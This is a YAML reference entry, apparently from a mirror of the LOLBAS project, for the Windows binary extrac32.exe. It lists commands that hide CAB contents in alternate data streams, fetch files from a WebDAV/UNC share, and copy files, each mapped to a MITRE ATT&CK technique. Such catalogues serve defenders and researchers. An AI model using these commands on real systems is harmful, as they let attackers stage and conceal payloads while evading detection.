mirror of
https://github.com/LOLBAS-Project/LOLBAS
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60 lines
2.4 KiB
YAML
60 lines
2.4 KiB
YAML
---
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Name: Extrac32.exe
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Description:
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
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Description: Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
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Usecase: Extract data from cab file and hide it in an alternate data stream.
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Category: ADS
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Privileges: User
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MitreID: T1096
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MitreLink: https://attack.mitre.org/wiki/Technique/T1096
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
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Description: Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.
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Usecase: Extract data from cab file and hide it in an alternate data stream.
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Category: ADS
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Privileges: User
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MitreID: T1096
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MitreLink: https://attack.mitre.org/wiki/Technique/T1096
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
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Description: Copy the source file to the destination file and overwrite it.
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Usecase: Download file from UNC/WEBDav
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Category: Download
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
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Description: Command for copying calc.exe to another folder
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Usecase: Copy file
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Category: Copy
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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Full_Path:
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- Path: C:\Windows\System32\extrac32.exe
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- Path: C:\Windows\SysWOW64\extrac32.exe
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Code_Sample:
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- Code:
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Detection:
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- IOC:
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Resources:
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- Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
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- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
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- Link: https://twitter.com/egre55/status/985994639202283520
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Acknowledgement:
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- Person: egre55
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Handle: '@egre55'
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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- Person: Hai Vaknin(Lux
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Handle: '@VakninHai'
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- Person: Tamir Yehuda
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Handle: '@tim8288'
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---
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